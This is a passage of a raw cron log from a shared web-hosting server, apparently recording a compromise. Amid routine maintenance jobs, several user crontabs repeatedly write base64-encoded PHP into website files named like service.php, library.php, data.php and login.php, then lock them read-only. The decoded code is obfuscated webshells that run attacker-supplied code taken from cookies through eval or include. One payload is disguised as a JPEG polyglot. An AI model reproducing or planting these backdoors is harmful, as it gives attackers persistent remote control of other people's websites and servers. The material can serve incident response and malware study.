gICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:40:01 medusa CROND[12001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 07:40:01 medusa CROND[12031]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:40:01 medusa CROND[12053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:40:01 medusa CROND[12143]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:40:01 medusa CROND[12144]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:40:01 medusa CROND[12145]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:40:01 medusa CROND[12146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12155]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:40:01 medusa CROND[12156]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:40:01 medusa CROND[12158]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:40:01 medusa CROND[12160]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:40:01 medusa CROND[12162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:40:01 medusa CROND[12163]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:40:01 medusa CROND[12168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:40:01 medusa CROND[12167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12179]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 07:40:01 medusa CROND[12177]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12185]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12190]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:40:01 medusa CROND[12183]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12193]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:40:01 medusa CROND[12194]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:40:01 medusa CROND[12191]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 07:40:01 medusa CROND[12198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12199]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:40:01 medusa CROND[12201]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:40:01 medusa CROND[12184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:41:02 medusa CROND[4878]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:41:02 medusa CROND[4879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:41:02 medusa CROND[4880]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:41:02 medusa CROND[4881]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:41:02 medusa CROND[4882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:41:02 medusa CROND[4883]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:41:02 medusa CROND[4884]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:41:02 medusa CROND[4885]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:41:02 medusa CROND[4887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:41:02 medusa CROND[4886]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:41:02 medusa CROND[4893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:41:02 medusa CROND[4894]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:41:02 medusa CROND[4897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:41:02 medusa CROND[4907]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:42:01 medusa CROND[26962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
